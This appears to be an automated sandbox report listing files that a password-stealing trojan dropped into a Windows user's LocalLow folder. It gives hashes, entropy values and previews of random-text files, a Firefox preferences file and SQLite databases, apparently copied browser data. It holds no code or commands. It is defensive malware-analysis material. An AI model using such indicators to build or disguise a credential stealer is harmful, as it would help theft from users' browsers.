Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\Users\user\AppData\LocalLow\9610a9Xj6A6P

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	false
Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\Users\user\AppData\LocalLow\9Vwl42VqIcns

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\LocalLow\C87QueZ97lQ4

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\LocalLow\D3Ukr6dE65M0

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Gmhh18S4vL15

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.685942106278079
Encrypted:	false
SSDEEP:	24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
MD5:	3F6896A097F6B0AE6A2BF3826C813DFC
SHA1:	951214AB37DEA766005DD981B0B3D61F936B035B
SHA-256:	E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
SHA-512:	C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
Malicious:	false
Preview:	PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

C:\Users\user\AppData\LocalLow\H7m9ZcSV9644

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	false
Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\Users\user\AppData\LocalLow\HD0MTAkUHPsO

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\JzH6W5mKbD75

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\K8BhKnQ3ctDd

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\Users\user\AppData\LocalLow\KMw8X7omE2FX

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	false
Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\Users\user\AppData\LocalLow\P8HtDUAztro0

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\Users\user\AppData\LocalLow\Pai9hL8N7XNG

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702247102869977
Encrypted:	false
SSDEEP:	24:GwASqxXUeo2spEcwb4NnVEBb2Ag1EY9TDqVEQXZvnIx+:nAD1U6+Lwb4dV42x1EIeVlXZ/5
MD5:	B734D7226D90E4FD8228EE89C7DD26DA
SHA1:	EDA7F371036A56A0DE687FF97B01F355C5060846
SHA-256:	ED3AE18072D12A2B031864F502B3DA672B4D4FA8743BEC8ADE114460F53C24D6
SHA-512:	D11ED908D0473A6BEA78D56D0E46FC05DAE642C6ED2F6D60F7859BB25C596CDAA79CC7883FEA5C175A2C04BD176943FF45670B19D6A55B3D5F29FAF40A19AC20
Malicious:	false
Preview:	QCFWYSKMHARLAFTMDAYCDPDNVLLXYAHYJQVDDKWMWZXTODMVQHOWYAKZGPKJEHLDEADLWAOYFHCRBONQYOLNJKXLXXPSVNNBUMGSSHSRYIKKLNWBJSSZQFZBFWIPYYALBWYXPUCHCBPPPRVICZHAAXDBSBDAFSJSLRPZCKMILDLKTZJTTJWTRDUXPIOSWYRPJKVLJAGHSGEPPERRAQLAJLIRGZPORRNBHIKYMYWHJJKNXIQOPDJPXFLFPWXDCSZYFDTACTIFVHTTSPLEYMJQGMJBZKBTPKCSRPHSAJZDKKKDYFDICXMYAQSFGBCKRXTFXXUYCXPOOHXIGGOZQXUOJXGUHUEOJLEOQQRFQRNQSWAOWAWOUVFMKBPTZVBCGRCYEHPXUWCDBHICKJYVGTNPPMEWNTSWYZNREIVBOXSICNBJXTOOMRYUPEHBVWMTIZHWLGFFTIUYFBQKZOWLOZMSGJFBUHXKMGISFGKCABOUUUQJAUODQPPYPQJGLZVADLCCGHPBEUWSDDXYCCQVTRQWCEJDTNAGHKGJTRWVAQBQJBUQWMJRXXASIQFFIUCPKMEXTJTVBDCBEYZDLKHCHQXMUBNRVRITBTYGULZYWAXVJAXNQEPONBFIAUWZCXQYHHPHZWKKUTNXAQELCSUFKXKKQLLKNVNOREOWTEVCFHSUGPNRMAPAFPTHPGPAJPOCFBZXTIYQYUSEJFOUEZDUJSRXDHTOZAMMNCCIXWLXFQZALVARMPTDBNFJAJUMFQAHUJVWMEIDRIMZQXYHMCNBVLONHTHCXFAKSQBBXFBBFYSTIWNRKGOIHMIHZKIQSYCSFIRGLYFATERWSKAZLTFNMKHFVBLMXNERMNYZHBEYHNFPIPCGHZZMBNNYITUETKSXMZHNSGROLAGIITATFDCBZCBLYQHHYFPBDWGCTQNYPHDHFBNVEJJDIVMSPKDXKQBUNSMLJDVGOKQUEVKEVEUUSGEQJDKGYLPIDXNBIPBAJ